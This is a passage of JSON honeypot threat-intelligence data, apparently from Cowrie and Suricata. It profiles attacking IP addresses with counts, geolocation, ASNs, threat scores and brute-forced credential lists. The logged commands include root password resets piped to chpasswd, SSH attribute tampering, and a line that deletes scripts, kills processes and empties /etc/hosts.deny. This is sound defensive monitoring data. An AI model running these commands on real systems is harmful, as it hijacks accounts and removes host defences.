        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dFALteiAMSQ4\"|chpasswd|bash",
        "echo \"root:rb8hANFRyzk7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:05:45.285000+00:00",
        "last_seen_30d": "2026-03-02T11:27:37.309000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "171.25.158.58": {
      "attack_count": 168,
      "first_seen": "2026-03-30T13:08:29.534Z",
      "last_seen": "2026-03-30T14:08:53.208Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123abC.",
        "1q2w3e$R5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc#123",
        "PA$$w0rd@12345",
        "Platform",
        "QAYWSX",
        "Qwert@123",
        "Supp0rt1",
        "afrika",
        "asdfghjk2025",
        "libreelec",
        "n3wp@ss",
        "op90op90",
        "pass123.",
        "proxy123",
        "qweewq123",
        "qwertyasdfgh",
        "robin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:O6MqA5Kqyk5N\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:08:29.534000+00:00",
        "last_seen_30d": "2026-03-30T14:09:53.687000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "154.221.27.234": {
      "attack_count": 128,
      "first_seen": "2026-03-02T18:35:01.973Z",
      "last_seen": "2026-03-02T19:07:19.268Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613",
        "128tRoutes",
        "1Q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "MY123456",
        "My123456",
        "Qq111111",
        "Sc123456",
        "carolina",
        "joshua",
        "netscout",
        "rio"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ajC6MWEXOz9O\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:35:01.973000+00:00",
        "last_seen_30d": "2026-03-02T19:08:20.202000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 34
      }
    },
    "222.110.147.58": {
      "attack_count": 124,
      "first_seen": "2026-03-16T00:58:32.632Z",
      "last_seen": "2026-03-16T01:23:57.748Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "soporte",
        "345gs5662d34",
        "gitlab",
        "jun",
        "recovery",
        "valheim",
        "youssef"
      ],
      "passwords_attempted": [
        "12345678",
        "1qazXSW@3edc",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd12345",
        "Recovery123",
        "dodol123",
        "gitlab123",
        "hasan123",
        "jun123",
        "soporte",
        "youssef123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"soporte\\nomW6k751BMSI\\nomW6k751BMSI\\n\"|passwd",
        "echo -e \"soporte\\nomW6k751BMSI\\nomW6k751BMSI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:58:32.632000+00:00",
        "last_seen_30d": "2026-03-16T01:25:01.285000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "51.178.84.57": {
      "attack_count": 123,
      "first_seen": "2026-03-04T21:19:56.971Z",
      "last_seen": "2026-03-04T21:44:38.963Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123zxcvbnm",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567",
        "Bingo@1993",
        "Qaz@12345",
        "Qf123456",
        "Qqqq1111",
        "amsterdam",
        "qweqwe",
        "qwerty123456789",
        "wkdskfk",
        "ww123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GzzPqojNNiro\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:19:56.971000+00:00",
        "last_seen_30d": "2026-03-04T21:45:49.191000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "103.250.10.42": {
      "attack_count": 119,
      "first_seen": "2026-03-21T00:45:50.249Z",
      "last_seen": "2026-03-21T01:08:03.651Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "astra",
        "345gs5662d34",
        "awsuser",
        "beehive",
        "cockpit",
        "cristi",
        "devops",
        "frappeuser",
        "plex",
        "root",
        "sinusbot"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "astra123",
        "awsuser123",
        "cockpit",
        "root1234!@#$",
        "sinusbot123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"astra123\\nRxgzal4Fpay0\\nRxgzal4Fpay0\\n\"|passwd",
        "echo -e \"astra123\\nRxgzal4Fpay0\\nRxgzal4Fpay0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T00:45:50.249000+00:00",
        "last_seen_30d": "2026-03-21T01:09:12.830000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "74.118.81.174": {
      "attack_count": 119,
      "first_seen": "2026-03-07T17:12:57.406Z",
      "last_seen": "2026-03-07T17:35:25.616Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "student2",
        "345gs5662d34",
        "abdul",
        "denis",
        "flussonic",
        "foundry",
        "internet",
        "m",
        "root",
        "ubuntu22",
        "xbmc"
      ],
      "passwords_attempted": [
        "password",
        "1",
        "123",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "asd123!@#",
        "foundry123!",
        "internetpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nkPC5bSIemPGQ\\nkPC5bSIemPGQ\\n\"|passwd",
        "echo -e \"123456\\nkPC5bSIemPGQ\\nkPC5bSIemPGQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Afghanistan",
      "country_code": "AF",
      "city": null,
      "asn": 45178,
      "as_org": "TELECOM DEVELOPMENT COMPANY AFGHANISTAN",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T17:12:57.406000+00:00",
        "last_seen_30d": "2026-03-07T17:36:35.759000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "109.206.241.199": {
      "attack_count": 118,
      "first_seen": "2026-03-05T08:59:36.196Z",
      "last_seen": "2026-03-05T09:20:43.970Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456qwe#",
        "3245gs5662d34",
        "345gs5662d34",
        "7rustno1@1",
        "H3llo25@",
        "Log1n123!",
        "Root#1234",
        "hello123!@#",
        "passw0rd#",
        "qw32025!",
        "qwer7y24!",
        "qwerty26!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WrWBfPa4u4Sy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:59:36.196000+00:00",
        "last_seen_30d": "2026-03-05T09:21:49.805000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "144.217.13.134": {
      "attack_count": 118,
      "first_seen": "2026-03-02T06:00:17.313Z",
      "last_seen": "2026-03-02T06:19:09.761Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe123123",
        "a12sd3",
        "ab@123456",
        "admin2024",
        "pablo",
        "qaz123!@#",
        "qwe123123",
        "root@321",
        "rootROOT123",
        "zhang123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Wzz2i5fjWEJX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:00:17.313000+00:00",
        "last_seen_30d": "2026-03-02T06:20:13.031000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "172.171.233.230": {
      "attack_count": 118,
      "first_seen": "2026-03-17T00:22:34.228Z",
      "last_seen": "2026-03-17T01:31:42.020Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apagar",
        "aroot",
        "asus",
        "ben",
        "bitwarden",
        "ftp-user",
        "gestion",
        "icecast",
        "ravi",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "345gs5662d34",
        "admin@1234",
        "bitwarden",
        "gestion1234",
        "icecastpass",
        "password",
        "ravi"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nTsgkVGNZGFKP\\nTsgkVGNZGFKP\\n\"|passwd",
        "echo -e \"12345678\\nTsgkVGNZGFKP\\nTsgkVGNZGFKP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T00:22:34.228000+00:00",
        "last_seen_30d": "2026-03-17T01:32:44.753000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "196.189.237.92": {
      "attack_count": 118,
      "first_seen": "2026-03-24T08:55:24.623Z",
      "last_seen": "2026-03-24T09:16:35.392Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "cb",
        "d",
        "david",
        "esuser",
        "prova",
        "thor",
        "yan"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "M3gaP33!",
        "Qm123456@",
        "alipass",
        "cb123!",
        "d1234",
        "mudar123",
        "prova123!",
        "thor123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bbxcESOKiG5H\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Nazr\u0113t",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T08:55:24.623000+00:00",
        "last_seen_30d": "2026-03-24T09:17:38.688000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "120.48.104.37": {
      "attack_count": 117,
      "first_seen": "2026-03-29T03:12:55.081Z",
      "last_seen": "2026-03-29T04:39:32.817Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456wB",
        "3245gs5662d34",
        "345gs5662d34",
        "5202514abc",
        "Asdf@123456",
        "Pa$$word12345",
        "Password1$",
        "Qa123456789",
        "Robert",
        "Si123456",
        "Zh123456.",
        "newpass",
        "qq789789",
        "qwert.12345",
        "ronaldo2",
        "shadow123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:LXDhnw2Qp61k\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T03:12:55.081000+00:00",
        "last_seen_30d": "2026-03-29T04:40:41.821000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 48
      }
    },
    "101.47.142.220": {
      "attack_count": 103,
      "first_seen": "2026-03-06T02:27:47.199Z",
      "last_seen": "2026-03-06T03:08:18.565Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abdel",
        "applmgr",
        "bart",
        "ftptest",
        "iptv",
        "kyle",
        "rtest"
      ],
      "passwords_attempted": [
        "1234",
        "345gs5662d34",
        "Applmgr123!",
        "bart2025",
        "ftptest",
        "kyle1234",
        "password",
        "rtest"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Applmgr123!\\nqdFWUAlNiQEN\\nqdFWUAlNiQEN\\n\"|passwd",
        "echo -e \"Applmgr123!\\nqdFWUAlNiQEN\\nqdFWUAlNiQEN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
